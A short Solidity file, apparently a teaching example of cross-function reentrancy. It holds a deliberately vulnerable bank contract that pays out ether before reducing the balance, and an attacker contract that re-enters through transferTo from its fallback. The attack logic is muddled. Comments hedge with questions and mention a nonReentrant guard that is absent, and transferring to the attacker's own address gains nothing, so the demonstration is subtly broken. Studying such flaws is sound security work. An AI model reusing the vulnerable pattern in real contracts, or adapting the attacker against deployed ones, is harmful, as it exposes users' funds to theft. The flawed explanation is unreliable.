// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}